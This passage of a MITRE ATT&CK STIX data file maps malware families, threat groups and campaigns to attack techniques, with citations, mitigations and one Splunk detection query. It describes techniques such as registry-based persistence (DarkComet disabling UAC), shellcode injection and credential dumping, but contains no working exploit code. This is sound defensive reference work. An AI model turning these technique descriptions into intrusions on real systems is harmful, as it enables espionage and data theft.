24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload to its C2 server victim browser bookmarks.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--463f68f1-5cde-4dc2-a831-68b73488f8f4","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c87a4238-eaec-4df1-b8b4-3f69aded080a","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GlobalDotName Jun 2019","description":"Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.","url":"https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"},{"source_name":"MRWLabs Office Persistence Add-ins","description":"Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.","url":"https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c87a8320-8705-4de3-93ee-2db5c00ea461","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Tick Apr 2016","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:31.920Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has attempted to get users to launch malicious Microsoft Word attachments delivered via spearphishing emails.(Citation: Symantec Tick Apr 2016)(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c87cbebf-6b1f-480d-802d-5a2004256183","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:24:32.873Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can sort and collect specific documents as well as generate a list of all files on a newly inserted drive and store them in an encrypted file.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c88502ec-f0f7-4b86-865b-8dc0a21b9580","created":"2020-12-14T17:34:58.574Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:10:12.277Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) searches the Registry for indicators of security programs.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c88798bd-2ddb-4fd8-b5b8-1a150cb87032","created":"2022-04-20T22:17:35.158Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"versprite xpc vpn","description":"VerSprite. (2018, January 24). Exploiting VyprVPN for MacOS. Retrieved April 20, 2022.","url":"https://versprite.com/blog/exploiting-vyprvpn-for-macos/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T19:00:24.438Z","description":"Monitor processes that attempt to access other processes, especially if the access is unusual (such as low-privileged processes interacting with high-privileged processes like a VPN service).(Citation: versprite xpc vpn)\n\nAnalytic 1 - Abnormal process access.\n\nsourcetype=Sysmon EventCode=10\n| search access_type=\"IPC\" AND process_privilege!=\"high\"\n| stats count by process_name target_process_name user\n| where target_process_name IN (\"VPNService\", \"Systemd\", \"svchost.exe\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c887c671-d467-45a1-952b-8fd20cd77ec1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.596Z","description":"[RunningRAT](https://attack.mitre.org/software/S0253) contains code to clear event logs.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--60d50676-459a-47dd-92e9-a827a9fe9c58","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c88e7db9-47b1-4fe9-943a-98ebde29980b","type":"relationship","created":"2019-01-29T19:18:28.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET","source_name":"TrendMicro DarkComet Sept 2014"},{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","source_name":"Malwarebytes DarkComet March 2018"}],"modified":"2019-06-04T19:40:43.666Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) adds a Registry value for its installation routine to the Registry Key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System Enable LUA=”0” and HKEY_CURRENT_USER\\Software\\DC3_FEXEC.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8909d65-f9e1-41ba-a9d9-c47dbf03d588","created":"2024-09-23T23:06:11.460Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:06:11.460Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) used [LaZagne](https://attack.mitre.org/software/S0349) to obtain passwords in files.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c890e6af-c827-4369-a0f7-fb351c6b6ec5","type":"relationship","created":"2021-04-13T19:29:21.090Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."},{"source_name":"Avira Mustang Panda January 2020","url":"https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong","description":"Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}],"modified":"2021-04-13T20:27:52.328Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has stored collected credential files in c:\\windows\\temp prior to exfiltration. [Mustang Panda](https://attack.mitre.org/groups/G0129) has also stored documents for exfiltration in a hidden folder on USB drives.(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Avira Mustang Panda January 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c899111b-c3ae-4760-b87f-fce9f21af1f2","type":"relationship","created":"2019-08-26T15:27:13.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Kimsuky Sept 2013","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/","description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019."},{"source_name":"CISA AA20-301A Kimsuky","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}],"modified":"2020-11-05T14:39:23.341Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has created new services for persistence.(Citation: Securelist Kimsuky Sept 2013)(Citation: CISA AA20-301A Kimsuky)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c89f4447-e8dc-4b6f-aa52-fade3ced3268","created":"2022-03-14T14:22:40.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"},{"source_name":"Medium S2W WhisperGate January 2022","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:42:27.866Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can deobfuscate downloaded files stored in reverse byte order and decrypt embedded resources using multiple XOR operations.(Citation: Cisco Ukraine Wipers January 2022)(Citation: Medium S2W WhisperGate January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8a0012e-9b2c-4fef-8aeb-7bc77d1b16c3","type":"relationship","created":"2021-04-01T16:05:11.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T00:50:31.596Z","description":"[Exaramel for Linux](https://attack.mitre.org/software/S0401) can execute commands with high privileges via a specific binary with setuid functionality.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","target_ref":"attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8a01e1c-dac0-4a47-bda3-3b5684bd3d47","type":"relationship","created":"2020-05-04T19:13:35.459Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.459Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to list the names of all open windows on the infected host.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8a023b1-b472-40fc-98be-5709180e2628","type":"relationship","created":"2021-04-20T19:17:58.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BendyBear Feb 2021","url":"https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/","description":"Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."}],"modified":"2021-04-20T19:17:58.007Z","description":"[BendyBear](https://attack.mitre.org/software/S0574) has the ability to determine local time on a compromised host.(Citation: Unit42 BendyBear Feb 2021) ","relationship_type":"uses","source_ref":"malware--805480f1-6caa-4a67-8ca9-b2b39650d986","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8a02e92-6b53-4c1f-ae1f-bebedd6bedc7","type":"relationship","created":"2020-09-30T14:29:28.442Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."}],"modified":"2020-09-30T14:29:28.442Z","description":"(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8a0a286-1296-4f87-bc6e-322cd956fb73","type":"relationship","created":"2021-03-09T16:04:38.886Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity Exchange Marauder March 2021","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."}],"modified":"2021-04-19T17:50:00.284Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has obtained IP addresses for publicly-accessible Exchange servers.(Citation: Volexity Exchange Marauder March 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8aab802-70d9-4f95-b024-4310149518dc","created":"2024-03-28T15:47:25.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:15:33.012Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) used scheduled task XML triggers.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8acdf40-8237-487f-8255-91afa327705d","type":"relationship","created":"2019-10-10T18:46:45.553Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-17T12:39:56.525Z","description":"Ensure that applications do not store sensitive data or credentials insecurely. (e.g. plaintext credentials in code, published credentials in repositories, or credentials in public cloud storage).","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8ad1abb-cbe4-4172-9faa-4b999054dd7b","type":"relationship","created":"2020-03-18T22:01:32.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crysys Skywiper","description":"sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved September 6, 2018.","url":"https://www.crysys.hu/publications/files/skywiper.pdf"}],"modified":"2020-03-18T22:01:32.429Z","description":"[Flame](https://attack.mitre.org/software/S0143) can use Windows Authentication Packages for persistence.(Citation: Crysys Skywiper)","relationship_type":"uses","source_ref":"malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498","target_ref":"attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8b0afbb-12eb-4b45-a1e1-b11755de2976","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shell Crew Feb 2017","description":"Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017.","url":"https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}],"modified":"2020-03-19T22:02:48.956Z","description":"[StreamEx](https://attack.mitre.org/software/S0142) has the ability to enumerate drive types.(Citation: Cylance Shell Crew Feb 2017)","relationship_type":"uses","source_ref":"malware--91000a8a-58cc-4aba-9ad0-993ad6302b86","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8b5bdf8-3d26-4ed7-ad0d-54e6a35a5d59","created":"2024-09-16T14:50:08.006Z","revoked":false,"external_references":[{"source_name":"Github_SILENTTRINITY","description":"byt3bl33d3r. (n.d.). SILENTTRINITY. Retrieved September 12, 2024.","url":"https://github.com/byt3bl33d3r/SILENTTRINITY"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T14:50:08.006Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can insert malicious shellcode into Excel.exe using a `Microsoft.Office.Interop` object.(Citation: Github_SILENTTRINITY) ","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8bc8331-513b-40e1-a82b-67107d2babd4","created":"2023-03-20T20:13:05.885Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT29 Nov 2018","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"},{"source_name":"Microsoft Unidentified Dec 2018","description":"Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.","url":"https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T19:42:44.319Z","description":"During [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors used obfuscated PowerShell to extract an encoded payload from within an .LNK file.(Citation: FireEye APT29 Nov 2018)(Citation: Microsoft Unidentified Dec 2018)","relationship_type":"uses","source_ref":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8bceb4a-0cf2-43c9-9729-20ed706c4c72","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}],"modified":"2020-06-22T17:54:15.746Z","description":"[Pteranodon](https://attack.mitre.org/software/S0147) can delete files that may interfere with it executing. It also can delete temporary files and itself after the initial script executes.(Citation: Palo Alto Gamaredon Feb 2017)","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8bf1e63-1275-46c7-b378-b4a3cc3eb369","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"}],"modified":"2019-04-22T22:40:41.290Z","description":"[Proxysvc](https://attack.mitre.org/software/S0238) gathers product names from the Registry key: HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion ProductName and the processor description from the Registry key HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0 ProcessorNameString.(Citation: McAfee 